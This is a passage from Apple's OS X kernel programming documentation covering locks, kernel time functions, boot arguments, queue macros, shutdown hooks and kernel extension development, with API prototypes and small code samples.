msleep is used, you are waiting for a change to occur in a data structure. In such cases, it is common to use the address of that data structure as the value for channel, as this ensures that no code elsewhere in the system will be using the same value. The priority argument has three effects. First, when wakeup is called, threads are inserted in the scheduling queue at this priority. Second, if the bit (priority & PCATCH) is set, msleep0 does not allow signals to interrupt the sleep. Third, if the bit (priority & PDROP) is zero, msleep0 drops the mutex on sleep and reacquires it upon waking. If (priority & PDROP) is one, msleep0 drops the mutex if it has to sleep, but does not reacquire it. The subsystem argument is a short text string that represents the subsystem that is waiting on this channel. This is used solely for debugging purposes. The timeout argument is used to set a maximum wait time. The thread may wake sooner, however, if wakeup or wakeup_one is called on the appropriate channel. It may also wake sooner if a signal isreceived, depending on the value of priority. In the case of msleep0, this is given as a mach abstime deadline. In the case of msleep, this is given in relative time (seconds and nanoseconds). Outside the BSD portion of the kernel, condition variables may be implemented using semaphores. Synchronization Primitives Condition Variables 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 131Locks OS X (and Mach in general) has three basic types of locks: spinlocks, mutexes, and read-write locks. Each of these has different uses and different problems. There are also many other types of locks that are not implemented in OS X, such as spin-sleep locks, some of which may be useful to implement for performance comparison purposes. Spinlocks A spinlock is the simplest type of lock. In a system with a test-and-set instruction or the equivalent, the code looks something like this: while (test_and_set(bit) != 0); In other words, until the lock is available, it simply “spins” in a tight loop that keeps checking the lock until the thread’s time quantum expires and the next thread begins to execute. Since the entire time quantum for the first thread must complete before the next thread can execute and (possibly) release the lock, a spinlock is very wasteful of CPU time, and should be used only in places where a mutex cannot be used, such as in a hardware exception handler or low-level interrupt handler. Note that a thread may not block while holding a spinlock, because that could cause deadlock. Further, preemption is disabled on a given processor while a spinlock is held. There are three basic types of spinlocks available in OS X: lck_spin_t (which supersedes simple_lock_t), usimple_lock_t, and hw_lock_t. You are strongly encouraged to not use hw_lock_t; it is only mentioned for the sake of completeness. Of these, only lck_spin_t is accessible from kernel extensions. The u in usimple stands for uniprocessor, because they are the only spinlocks that provide actual locking on uniprocessorsystems. Traditionalsimple locks, by contrast, disable preemption but do notspin on uniprocessor systems. Note that in most contexts, it is not useful to spin on a uniprocessor system, and thus you usually only need simple locks. Use of usimple locks is permissible for synchronization between thread context and interrupt context or between a uniprocessor and an intelligent device. However, in most cases, a mutex is a better choice. Important: Simple and usimple locks that could potentially be shared between interrupt context and thread context must have their use coordinated with spl (see glossary). The IPL (interrupt priority level) must always be the same when acquiring the lock, otherwise deadlock may result. (This is not an issue for kernel extensions, however, as the spl functions cannot be used there.) The spinlock functions accessible to kernel extensions consist of the following: Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 132extern lck_spin_t *lck_spin_alloc_init( lck_grp_t *grp, lck_attr_t *attr); extern void lck_spin_init( lck_spin_t *lck, lck_grp_t *grp, lck_attr_t *attr); extern void lck_spin_lock( lck_spin_t *lck); extern void lck_spin_unlock( lck_spin_t *lck); extern void lck_spin_destroy( lck_spin_t *lck, lck_grp_t *grp); extern void lck_spin_free( lck_spin_t *lck, lck_grp_t *grp); extern wait_result_t lck_spin_sleep( lck_spin_t *lck, lck_sleep_action_t lck_sleep_action, event_t event, wait_interrupt_t interruptible); extern wait_result_t lck_spin_sleep_deadline( lck_spin_t *lck, lck_sleep_action_t lck_sleep_action, event_t event, wait_interrupt_t interruptible, uint64_t deadline); Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 133Prototypes for these locks can be found in . The arguments to these functions are described in detail in “Using Lock Functions” (page 139). Mutexes A mutex, mutex lock, or sleep lock, is similar to a spinlock, except that instead of constantly polling, it places itself on a queue of threads waiting for the lock, then yields the remainder of its time quantum. It does not execute again until the thread holding the lock wakesit (or in some userspace variations, until an asynchronous signal arrives). Mutexes are more efficient than spinlocksfor most purposes. However, they are less efficient in multiprocessing environments where the expected lock-holding time is relatively short. If the average time is relatively short but occasionally long, spin/sleep locks may be a better choice. Although OS X does not support spin/sleep locksin the kernel, they can be easily implemented on top of existing locking primitives. If your code performance improves as a result of using such locks, however, you should probably look for ways to restructure your code, such as using more than one lock or moving to read-write locks, depending on the nature of the code in question. See “Spin/Sleep Locks” (page 138) for more information. Because mutexes are based on blocking, they can only be used in places where blocking is allowed. For this reason, mutexes cannot be used in the context of interrupt handlers. Interrupt handlers are not allowed to block because interrupts are disabled for the duration of an interrupt handler, and thus, if an interrupt handler blocked, it would prevent the scheduler from receiving timer interrupts, which would prevent any other thread from executing, resulting in deadlock. For a similar reason, it is not reasonable to block within the scheduler. Also, blocking within the VM system can easily lead to deadlock if the lock you are waiting for is held by a task that is paged out. However, unlike simple locks, it is permissible to block while holding a mutex. This would occur, for example, if you took one lock, then tried to take another, but the second lock was being held by another thread. However, this is generally not recommended unless you carefully scrutinize all uses of that mutex for possible circular waits, as it can result in deadlock. You can avoid this by always taking locks in a certain order. In general, blocking while holding a mutex specific to your code isfine aslong as you wrote your code correctly, but blocking while holding a more global mutex is probably not, since you may not be able to guarantee that other developers’ code obeys the same ordering rules. A Mach mutex is of type mutex_t. The functions that operate on mutexes include: lck_mtx_t *lck_mtx_alloc_init(lck_grp_t *grp, lck_attr_t *attr); extern void lck_mtx_init( lck_mtx_t *lck, Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 134lck_grp_t *grp, lck_attr_t *attr); extern void lck_mtx_lock( lck_mtx_t *lck); extern void lck_mtx_unlock( lck_mtx_t *lck); extern void lck_mtx_destroy(lck_mtx_t *lck, lck_grp_t *grp); extern void lck_mtx_free( lck_mtx_t *lck, lck_grp_t *grp); extern wait_result_tlck_mtx_sleep( lck_mtx_t *lck, lck_sleep_action_t lck_sleep_action, event_t event, wait_interrupt_t interruptible); extern wait_result_tlck_mtx_sleep_deadline( lck_mtx_t *lck, lck_sleep_action_t lck_sleep_action, event_t event, wait_interrupt_t interruptible, uint64_t deadline); extern void lck_mtx_assert( lck_mtx_t *lck, unsigned int type); as described in . The arguments to these functions are described in detail in “Using Lock Functions” (page 139). Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 135Read-Write Locks Read-write locks (also called shared-exclusive locks) are somewhat different from traditional locks in that they are not always exclusive locks. A read-write lock is useful when shared data can be reasonably read concurrently by multiple threads except while a thread is modifying the data. Read-write locks can dramatically improve performance if the majority of operations on the shared data are in the form of reads(since it allows concurrency), while having negligible impact in the case of multiple writes. A read-write lock allows this sharing by enforcing the following constraints: ● Multiple readers can hold the lock at any time. ● Only one writer can hold the lock at any given time. ● A writer must block until all readers have released the lock before obtaining the lock for writing. ● Readers arriving while a writer is waiting to acquire the lock will block until after the writer has obtained and released the lock. The first constraint allows read sharing. The second constraint prevents write sharing. The third prevents read-write sharing, and the fourth prevents starvation of the writer by a steady stream of incoming readers. Mach read-write locks also provide the ability for a reader to become a writer and vice-versa. In locking terminology, an upgrade is when a reader becomes a writer, and a downgrade is when a writer becomes a reader. To prevent deadlock, some additional constraints must be added for upgrades and downgrades: ● Upgrades are favored over writers. ● The second and subsequent concurrent upgrades will fail, causing that thread’s read lock to be released. The first constraint is necessary because the reader requesting an upgrade is holding a read lock, and the writer would not be able to obtain a write lock until the reader releases its read lock. In this case, the reader and writer would wait for each other forever. The second constraint is necessary to prevents the deadlock that would occur if two readers wait for the other to release its read lock so that an upgrade can occur. The functions that operate on read-write locks are: extern lck_rw_t *lck_rw_alloc_init( lck_grp_t *grp, lck_attr_t *attr); extern void lck_rw_init( lck_rw_t *lck, lck_grp_t *grp, Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 136lck_attr_t *attr); extern void lck_rw_lock( lck_rw_t *lck, lck_rw_type_t lck_rw_type); extern void lck_rw_unlock( lck_rw_t *lck, lck_rw_type_t lck_rw_type); extern void lck_rw_lock_shared( lck_rw_t *lck); extern void lck_rw_unlock_shared( lck_rw_t *lck); extern void lck_rw_lock_exclusive( lck_rw_t *lck); extern void lck_rw_unlock_exclusive( lck_rw_t *lck); extern void lck_rw_destroy( lck_rw_t *lck, lck_grp_t *grp); extern void lck_rw_free( lck_rw_t *lck, lck_grp_t *grp); extern wait_result_t lck_rw_sleep( lck_rw_t *lck, lck_sleep_action_t lck_sleep_action, Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 137event_t event, wait_interrupt_t interruptible); extern wait_result_t lck_rw_sleep_deadline( lck_rw_t *lck, lck_sleep_action_t lck_sleep_action, event_t event, wait_interrupt_t interruptible, uint64_t deadline); This is a more complex interface than that of the other locking mechanisms, and actually is the interface upon which the other locks are built. The functions lck_rw_lock and lck_rw_lock lock and unlock a lock as either shared (read) or exclusive (write), depending on the value of lck_rw_type., which can contain either LCK_RW_TYPE_SHARED or LCK_RW_TYPE_EXCLUSIVE. You should always be careful when using these functions, as unlocking a lock held in shared mode using an exclusive call or vice-versa will lead to undefined results. The arguments to these functions are described in detail in “Using Lock Functions” (page 139). Spin/Sleep Locks Spin/sleep locks are not implemented in the OS X kernel. However, they can be easily implemented on top of existing locks if desired. For short waits on multiprocessor systems, the amount of time spent in the context switch can be greater than the amount of time spent spinning. When the time spent spinning while waiting for the lock becomes greater than the context switch overhead, however, mutexes become more efficient. For this reason, if there is a large degree of variation in wait time on a highly contended lock, spin/sleep locks may be more efficient than traditional spinlocks or mutexes. Ideally, a program should be written in such a way that the time spent holding a lock is always about the same, and the choice of locking is clear. However, in some cases, this is not practical for a highly contended lock. In those cases, you may consider using spin/sleep locks. Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 138The basic principle ofspin/sleep locksissimple. A thread takesthe lock if it is available. If the lock is not available, the thread may enter a spin cycle. After a certain period of time (usually a fraction of a time quantum or a small number of time quanta), the spin routine’s time-out is reached, and it returns failure. At that point, the lock places the waiting thread on a queue and puts it to sleep. In other variations on this design, spin/sleep locks determine whether to spin or sleep according to whether the lock-holding thread is currently on another processor (or is about to be). For short wait periods on multiprocessor computers, the spin/sleep lock is more efficient than a mutex, and roughly as efficient as a standard spinlock. For longer wait periods, the spin/sleep lock is significantly more efficient than the spinlock and only slightly less efficient than a mutex. There is a period near the transition between spinning and sleeping in which the spin/sleep lock may behave significantly worse than either of the basic lock types, however. Thus, spin/sleep locks should not be used unless a lock is heavily contended and has widely varying hold times. When possible, you should rewrite the code to avoid such designs. Using Lock Functions While most of the locking functions are straightforward, there are a few detailsrelated to allocating, deallocating, and sleeping on locks that require additional explanation. As the syntax of these functions is identical across all of the lock types, this section explains only the usage for spinlocks. Extending this to other lock types is left as a (trivial) exercise for the reader. The first thing you must do when allocating locks is to allocate a lock group and a lock attribute set. Lock groups are used to name locks for debugging purposes and to group locks by function for general understandability. Lock attribute sets allow you to set flags that alter the behavior of a lock. The following code illustrates how to allocate an attribute structure and a lock group structure for a lock. In this case, a spinlock is used, but with the exception of the lock allocation itself, the process is the same for other lock types. Listing 17-1 Allocating lock attributes and groups (lifted liberally from kern_time.c) lck_grp_attr_t *tz_slock_grp_attr; lck_grp_t *tz_slock_grp; lck_attr_t *tz_slock_attr; lck_spin_t *tz_slock; /* allocate lock group attribute and group */ tz_slock_grp_attr = lck_grp_attr_alloc_init(); lck_grp_attr_setstat(tz_slock_grp_attr); Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 139tz_slock_grp = lck_grp_alloc_init("tzlock", tz_slock_grp_attr); /* Allocate lock attribute */ tz_slock_attr = lck_attr_alloc_init(); //lck_attr_setdebug(tz_slock_attr); // set the debug flag //lck_attr_setdefault(tz_slock_attr); // clear the debug flag /* Allocate the spin lock */ tz_slock = lck_spin_alloc_init(tz_slock_grp, tz_slock_attr); The first argument to the lock initializer, of type lck_grp_t, is a lock group. This is used for debugging purposes, including lock contention profiling. The details of lock tracing are beyond the scope of this document, however, every lock must belong to a group (even if that group contains only one lock). The second argument to the lock initializer, of type lck_attr_t, contains attributes for the lock. Currently, the only attribute available islock debugging. This attribute can be set using lck_attr_setdebug and cleared with lck_attr_setdefault. To dispose of a lock, you simply call the matching free functions. For example: lck_spin_free(tz_slock, tz_slock_grp); lck_attr_free(tz_slock_attr); lck_grp_free(tz_slock_grp); lck_grp_attr_free(tz_slock_grp_attr); Note: While you can safely dispose of the lock attribute and lock group attribute structures, it is important to keep track of the lock group associated with a lock as long as the lock exists, since you will need to pass the group to the lock's matching free function when you deallocate the lock (generally at unload time). The other two interesting functions are lck_spin_sleep and lck_spin_sleep_deadline. These functions release a spinlock and sleep until an event occurs, then wake. The latter includes a timeout, at which point it will wake even if the event has not occurred. extern wait_result_t lck_spin_sleep( lck_rspin_t *lck, Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 140lck_sleep_action_t lck_sleep_action, event_t event, wait_interrupt_t interruptible); extern wait_result_t lck_spin_sleep_deadline( lck_spin_t *lck, lck_sleep_action_t lck_sleep_action, event_t event, wait_interrupt_t interruptible, uint64_t deadline); The parameter lck_sleep_action controls whether the lock will be reclaimed after sleeping prior to this function returning. The valid options are: LCK_SLEEP_DEFAULT Release the lock while waiting for the event, then reclaim it. Read-write locks are held in the same mode as they were originally held. LCK_SLEEP_UNLOCK Release the lock and return with the lock unheld. LCK_SLEEP_SHARED Reclaim the lock in shared mode (read-write locks only). LCK_SLEEP_EXCLUSIVE Reclaim the lock in exclusive mode (read-write locks only). The event parameter can be any arbitrary integer, but it must be unique across the system. To ensure uniqueness, a common programming practice isto use the address of a global variable (often the one containing a lock) as the event value. For more information on these events, see “Event and Timer Waits” (page 143). The parameter interruptible indicates whether the scheduler should allow the wait to be interrupted by asynchronous signals. If this is false, any false wakes will result in the process going immediately back to sleep (with the exception of a timer expiration signal, which will still wake lck_spin_sleep_deadline). Synchronization Primitives Locks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 141This chapter containsinformation about miscellaneousservices provided by the OS X kernel. For most projects, you will probably never need to use most of these services, but if you do, you will find it hard to do without them. This chapter containsthese sections:“Using Kernel Time Abstractions” (page 142),“Boot Option Handling” (page 146), “Queues” (page 147), and “Installing Shutdown Hooks” (page 148). Using Kernel Time Abstractions There are two basic groups of time abstractionsin the kernel. One group includesfunctionsthat provide delays and timed wake-ups. The other group includesfunctions and variablesthat provide the current wall clock time, the time used by a given process, and other similar information. This section describes both aspects of time from the perspective of the kernel. Obtaining Time Information There are a number of ways to get basic time information from within the kernel. The officially approved methods are those that Mach exports in kern/clock.h. These include the following: void clock_get_uptime(uint64_t *result); void clock_get_system_microtime( uint32_t *secs, uint32_t *microsecs); void clock_get_system_nanotime( uint32_t *secs, uint32_t *nanosecs); void clock_get_calendar_microtime( uint32_t *secs, uint32_t *microsecs); void clock_get_calendar_nanotime( uint32_t *secs, uint32_t *nanosecs); 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 142 Miscellaneous Kernel ServicesThe function clock_get_uptime returns a value in AbsoluteTime units. For more information on using AbsoluteTime, see “Using Mach Absolute Time Functions” (page 144). The functions clock_get_system_microtime and clock_get_system_nanotime return 32-bit integers containing seconds and microseconds or nanoseconds, respectively, representing the system uptime. The functions clock_get_calendar_microtime and clock_get_calendar_nanotime return 32-bit integers containing seconds and microseconds or nanoseconds, respectively, representing the current calendar date and time since the epoch (January 1, 1970). In some parts of the kernel, you may find other functions that return type mach_timespec_t. This type is similar to the traditional BSD struct timespec, except that fractions of a second are measured in nanoseconds instead of microseconds: struct mach_timespec { unsigned int tv_sec; clock_res_t tv_nsec; }; typedef struct mach_timespec *mach_timespec_t; In addition to the traditional Mach functions, if you are writing code in BSD portions of the kernel you can also get the current calendar (wall clock) time as a BSD timeval, as well as find out the calendar time when the system was booted by doing the following: #include struct timeval tv=time; /* calendar time */ struct timeval tv_boot=boottime; /* calendar time when booting occurred */ For other information, you should use the Mach functions listed previously. Event and Timer Waits Each part of the OS X kernel has a distinct API for waiting a certain period of time. In most cases, you can call these functions from other parts of the kernel. The I/O Kit provides IODelay and IOSleep. Mach provides functions based on AbsoluteTime, as well as a few based on microseconds. BSD provides msleep. Miscellaneous Kernel Services Using Kernel Time Abstractions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 143Using IODelay and IOSleep IODelay, provided by the I/O Kit, abstracts a timed spin. If you are delaying for a short period of time, and if you need to be guaranteed that your wait will not be stopped prematurely by delivery of asynchronous events, this is probably the best choice. If you need to delay for several seconds, however, this is a bad choice, because the CPU that executes the wait will spin until the time has elapsed, unable to handle any other processing. IOSleep puts the currently executing thread to sleep for a certain period of time. There is no guarantee that your thread will execute after that period of time, nor isthere a guarantee that your thread will not be awakened by some other event before the time has expired. It is roughly equivalent to the sleep call from user space in this regard. The use of IODelay and IOSleep are straightforward. Their prototypes are: IODelay(unsigned microseconds); IOSleep(unsigned milliseconds); Note the differing units. It is not practical to put a thread to sleep for periods measured in microseconds, and spinning for several milliseconds is also inappropriate. Using Mach Absolute Time Functions The following Mach time functions are commonly used. Several others are described in osfmk/kern/clock.h. Note: These are not the same functions as those listed in kern/clock.h in the Kernel framework. These functions are not exposed to kernel extensions, and are only for use within the kernel itself. void delay(uint64_t microseconds); void clock_delay_until(uint64_t deadline); void clock_absolutetime_interval_to_deadline(uint64_t abstime, uint64_t *result); void nanoseconds_to_absolutetime(uint64_t nanoseconds, uint64_t *result); void absolutetime_to_nanoseconds(uint64_t abstime, uint64_t *result); These functions are generally straightforward. However, a few points deserve explanation. Unless specifically stated, all times, deadlines, and so on, are measured in abstime units. The abstime unit is equal to the length of one bus cycle,so the duration is dependent on the busspeed of the computer. For thisreason, Mach provides conversion routines between abstime units and nanoseconds. Miscellaneous Kernel Services Using Kernel Time Abstractions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 144Many time functions, however, provide time in seconds with nanosecond remainder. In this case, some conversion is necessary. For example, to obtain the current time as a mach abstime value, you might do the following: uint32_t secpart; uint32_t nsecpart; uint64_t nsec, abstime; clock_get_calendar_nanotime(&secpart, &nsecpart); nsec = nsecpart + (1000000000ULL * secpart); //convert seconds to nanoseconds. nanoseconds_to_absolutetime(nsec, &abstime); The abstime value is now stored in the variable abstime. Using msleep In addition to Mach and I/O Kit routines, BSD provides msleep, which is the recommended way to delay in the BSD portions of the kernel. In other parts of the kernel, you should either use wait_queue functions or use assert_wait and thread_wakeup functions, both of which are closely tied to the Mach scheduler, and are described in “Kernel Thread APIs” (page 85). Because this function is more commonly used for waiting on events, it is described further in “Condition Variables” (page 130). Handling Version Dependencies Many time-related functions such as clock_get_uptime changed as a result of the transition to KPIs in OS X v.10.4. While these changes result in a cleaner interface, this can prove challenging if you need to make a kernel extension that needs to obtain time information across multiple versions of OS X in a kernel extension that would otherwise have no version dependencies (such as an I/O Kit KEXT). Here is a list of time-related functions that are available in both pre-KPI and KPI versions of OS X: uint64_t mach_absolute_time(void); Declared In: Dependency: com.apple.kernel.mach This function returns a Mach absolute time value for the current wall clock time in units of uint64_t. Miscellaneous Kernel Services Using Kernel Time Abstractions 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 145void microtime(struct timeval *tv); Declared In: Dependency: com.apple.kernel.bsd This function returns a timeval struct containing the current wall clock time. void microuptime(struct timeval *tv); Declared In: Dependency: com.apple.kernel.bsd This function returns a timeval struct containing the current uptime. void nanotime(struct timespec *ts); Declared In: Dependency: com.apple.kernel.bsd This function returns a timespec struct containing the current wall clock time. void nanouptime(struct timespec *ts); Declared In: Dependency: com.apple.kernel.bsd This function returns a timespec struct containing the current uptime. Note: The structure declarationsfor struct timeval and struct timespec differ between 10.3 and 10.4 in their use of int, int32_t, and long data types. However, because the structure packing for the underlying data types is identical in the 32-bit world, these structures are assignment compatible. In addition to these APIs, the functionality marked __APPLE_API_UNSTABLE in was adopted as-is in OS X v.10.4 and is no longer marked unstable. Boot Option Handling OS X provides a simple parse routine, PE_parse_boot_arg, for basic boot argument passing. It supports both flags and numerical value assignment. For obtaining values, you write code similar to the following: unsigned int argval; if (PE_parse_boot_arg("argflag", &argval)) { Miscellaneous Kernel Services Boot Option Handling 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 146/* check for reasonable value */ if (argval < 10 || argval > 37) argval = 37; } else { /* use default value */ argval = 37; } Since PE_parse_boot_arg returns a nonzero value if the flag exists, you can check for the presence of a flag by using a flag that starts with a dash (-) and ignoring the value stored in argvalue. The PE_parse_boot_arg function can also be used to get a string argument. To do this, you must pass in the address of an array of type char as the second argument. The behavior of PE_parse_boot_arg is undefined if a string is passed in for a numeric variable or vice versa. Its behavior is also undefined if a string exceeds the storage space allocated. Be sure to allow enough space for the largest reasonable string including a null delimiter. No attempt is made at bounds checking, since an overflow is generally a fatal error and should reasonably prevent booting. Queues As part of its BSD infrastructure, the OS X kernel provides a number of basic support macrosto simplify handling of linked lists and queues. These are implemented as C macros, and assume a standard C struct. As such, they are probably not suited for writing code in C++. The basic types of lists and queues included are ● SLIST, a singly linked list ● STAILQ, a singly linked tail queue ● LIST, a doubly linked list ● TAILQ, a doubly linked tail queue SLIST is ideal for creating stacks or for handling large sets of data with few or no removals. Arbitrary removal, however, requires an O(n) traversal of the list. STAILQ is similar to SLIST except that it maintains pointers to both ends of the queue. This makes it ideal for simple FIFO queues by adding entries at the tail and fetching entries from the head. Like SLIST, it is inefficient to remove arbitrary elements. Miscellaneous Kernel Services Queues 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 147LIST is a doubly linked version of SLIST. The extra pointersrequire additionalspace, but allow O(1) (constant time) removal of arbitrary elements and bidirectional traversal. TAILQ is a doubly linked version of STAILQ. Like LIST, the extra pointers require additional space, but allow O(1) (constant time) removal of arbitrary elements and bidirectional traversal. Because their functionality is relatively simple, their use is equally straightforward. These macros can be found in xnu/bsd/sys/queue.h. Installing Shutdown Hooks Although OS X does not have traditional BSD-style shutdown hooks, the I/O Kit provides equivalent functionality in recent versions. Since the I/O Kit provides this functionality, you must call it from C++ code. To register for notification, you call registerSleepWakeInterest (described in IOKit/RootDomain.h) and register for sleep notification. If the system is about to be shut down, your handler is called with the message type kIOMessageSystemWillPowerOff. If the system is about to reboot, your handler gets the message type kIOMessageSystemWillRestart. If the system is about to reboot, your handler gets the message type kIOMessageSystemWillSleep. If you no longer need to receive notification (for example, if your KEXT gets unloaded), be certain to release the notifier with IONofitier::release to avoid a kernel panic on shutdown. For example, the following sample KEXT registersforsleep notifications, then logs a message with IOLog when a sleep notification occurs: #include #include #include #include #include #define ALLOW_SLEEP 1 IONotifier *notifier; extern "C" { Miscellaneous Kernel Services Installing Shutdown Hooks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 148IOReturn mySleepHandler( void * target, void * refCon, UInt32 messageType, IOService * provider, void * messageArgument, vm_size_t argSize ) { IOLog("Got sleep/wake notice. Message type was %d\n", messageType); #if ALLOW_SLEEP acknowledgeSleepWakeNotification(refCon); #else vetoSleepWakeNotification(refCon); #endif return 0; } kern_return_t sleepkext_start (kmod_info_t * ki, void * d) { void *myself = NULL; // Would pass the self pointer here if in a class instance notifier = registerPrioritySleepWakeInterest( &mySleepHandler, myself, NULL); return KERN_SUCCESS; } kern_return_t sleepkext_stop (kmod_info_t * ki, void * d) { notifier->remove(); return KERN_SUCCESS; } } // extern "C" Miscellaneous Kernel Services Installing Shutdown Hooks 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 149As discussed in the chapter “Kernel Architecture Overview” (page 14), OS X provides a kernel extension mechanism as a means of allowing dynamic loading of code into the kernel, without the need to recompile or relink. Because these kernel extensions (KEXTs) provide both modularity and dynamic loadability, they are a natural choice for any relatively self-contained service that requires access to internal kernel interfaces. Because KEXTs run in supervisor mode in the kernel’s address space, they are also harder to write and debug than user-level modules, and must conform to strict guidelines. Further, kernel resources are wired (permanently resident in memory) and are thus more costly to use than resources in a user-space task of equivalent functionality. In addition, although memory protection keeps applications from crashing the system, no such safeguards are in place inside the kernel. A badly behaved kernel extension in OS X can cause as much trouble as a badly behaved application or extension could in Mac OS 9. Bugs in KEXTs can have far more severe consequences than bugs in user-level code. For example, a memory access error in a user application can, at worst, cause that application to crash. In contrast, a memory access error in a KEXT causes a kernel panic, crashing the operating system. Finally, for security reasons, some customers restrict or don’t permit the use of third-party KEXTs. As a result, use of KEXTs is strongly discouraged in situations where user-level solutions are feasible. OS X guarantees that threading in applications is just as efficient as threading inside the kernel, so efficiency should not be an issue. Unless your application requireslow-level accessto kernel interfaces, you should use a higher level of abstraction when developing code for OS X. When you are trying to determine if a piece of code should be a KEXT, the default answer is generally no . Even if your code was a system extension in Mac OS 9, that does not necessarily mean that it should be a kernel extension in OS X. There are only a few good reasons for a developer to write a kernel extension: ● Your code needsto take a primary interrupt—that is,something in the (built-in) hardware needsto interrupt the CPU and execute a handler. ● The primary client of your code is inside the kernel—for example, a block device whose primary client is a file system. ● Your code needs to access kernel interfaces that are not exported to user space. ● Your code has other special requirements that cannot be satisfied in a user space application. 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 150 Kernel Extension OverviewIf your code does not meet any of the above criteria (and possibly even if it does), you should consider developing it as a library or a user-level daemon, or using one of the user-level plug-in architectures (such as QuickTime components or the Core Graphics framework) instead of writing a kernel extension. If you are writing device drivers or code to support a new volume format or networking protocol, however, KEXTs may be the only feasible solution. Fortunately, while KEXTs may be more difficult to write than user-space code, several tools and procedures are available to enhance the development and debugging process. See “Debugging Your KEXT” (page 153) for more information. This chapter provides a conceptual overview of KEXTs and how to create them. If you are interested in building a simple KEXT, see the Apple tutorials listed in the bibliography. These provide step-by-step instructions for creating a simple, generic KEXT or a basic I/O Kit driver. Implementation of a Kernel Extension (KEXT) Kernel extensions are implemented as bundles, folders that the Finder treats as single files. See the chapter about bundles in Mac Technology Overview for a discussion of bundles.The KEXT bundle can contain the following: ● Information property list—a text file that describes the contents, settings, and requirements of the KEXT. This file is required. A KEXT bundle need contain nothing more than this file, although most KEXTs contain one or more kernel modules as well. See the chapter about software configuration in Mac Technology Overview for further information about property lists. ● KEXT binary—a file in Mach-O format, containing the actual binary code used by the KEXT. A KEXT binary (also known as a kernel module or KMOD) represents the minimum unit of code that can be loaded into the kernel. A KEXT usually contains one KEXT binary. If no KEXT binaries are included, the information property list file must contain a reference to another KEXT and change its default settings. ● Resources—for example, icons or localization dictionaries. Resources are optional; they may be useful for a KEXT that needs to display a dialog or menu. At present, no resources are explicitly defined for use with KEXTs. ● KEXT bundles—a kext can contain other KEXTs. This can be used for plug-ins that augment features of a KEXT. Kernel Extension Dependencies Any KEXT can declare that it is dependent upon any other KEXT. The developer lists these dependencies in the OSBundleLibraries dictionary in the module’s property list file. Kernel Extension Overview Implementation of a Kernel Extension (KEXT) 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 151Before a KEXT isloaded, all of itsrequirements are checked. Those required extensions(and their requirements) are loaded first, iterating back through the lists until there are no more required extensions to load. Only after all requirements are met, is the requested KEXT loaded as well. For example, device drivers (a type of KEXT) are dependent upon (require) certain families (another type of KEXT). When a driver isloaded, itsrequired families are also loaded to provide necessary, common functionality. To ensure that all requirements are met, each device drivershould list all of itsrequirements(families and other drivers) in its property list. See the chapter “I/O Kit Overview” (page 94), for an explanation of drivers and families. It is important to list all dependencies for each KEXT. If your KEXT fails to do so, your KEXT may not load due to unrecognized symbols, thusrendering the KEXT useless. Dependenciesin KEXTs can be considered analogous to required header files or librariesin code development; in fact, the Kernel Extension Manager usesthe standard linker to resolve KEXT requirements. Building and Testing Your Extension After creating the necessary property list and C or C++ source files, you use Project Builder to build your KEXT. Any errors in the source code are brought to your attention during the build and you are given the chance to edit your source files and try again. To test your KEXT, however, you need to leave Project Builder and work in the Terminal application (or in console mode). In console mode, all system messages are written directly to your screen, as well as to a log file (/var/log/system.log). If you work in the Terminal application, you must view system messages in the log file or in the Console application.You also need to log in to the root account (or use the su or sudo command), since only the root account can load kernel extensions. When testing your KEXT, you can load and unload it manually, as well as check the load status. You can use the kextload command to load any KEXT. A manual page for kextload is included in OS X. (On OS X prior to 10.2, you must use the kmodload command instead.) Note that this command is useful only when developing a KEXT. Eventually, after it has been tested and debugged, you install your KEXT in one of the standard places (see “Installed KEXTs” (page 154) for details). Then, it will be loaded and unloaded automatically at system startup and shutdown or whenever it is needed (such as when a new device is detected). Kernel Extension Overview Building and Testing Your Extension 2012-02-16 | © 2002, 2012 Apple Inc. All Rights Reserved. 152Debugging Your KEXT KEXT debugging can be complicated. Before you can debug a KEXT, you must first enable kernel debugging, as OS X is not normally configured to permit debugging the kernel. Only the root account can enable kernel debugging, and you need to reboot OS X for the changes to take effect. (You can use sudo to gain root privileges if you don’t want to enable a root password.) Kernel debugging is performed using two OS X computers, called the development or debug host and the debug target. These computers must be connected over a reliable network connection on the same subnet (or within a single local network). Specifically, there must not be any intervening IP routers or other devices that could make hardware-based Ethernet addressing impossible. The KEXT is registered (and loaded and run) on the target. The debugger is launched and run on the debug host. You can also rebuild your KEXT on the debug host, after you fix any errors you find. Debugging must be performed in this fashion because you must temporarily halt the kernel on the target in order to use the debugger. When you halt the kernel, all other processes on that computer stop. However, a debugger running remotely can continue to run and can continue to examine (or modify) the kernel on the target. Note that bugs in KEXTs may cause the target kernel to freeze or panic. If this happens, you may not be able to continue debugging, even over a remote connection; you have to reboot the target and start over, setting a breakpoint just before the code where the KEXT crashed and working very carefully up to the crash point. Developers generally debug KEXTs using gdb, a source-level debugger with a command-line interface. You will need to work in the Terminal application to run gdb. For detailed information about using gdb, see the documentation included with OS X. You can also use the help command from within gdb. Some features of gdb are unavailable when debugging KEXTs because of implementation limitations. For example: ● You can’t use gdb to call a function or method in a KEXT. ● You should not use 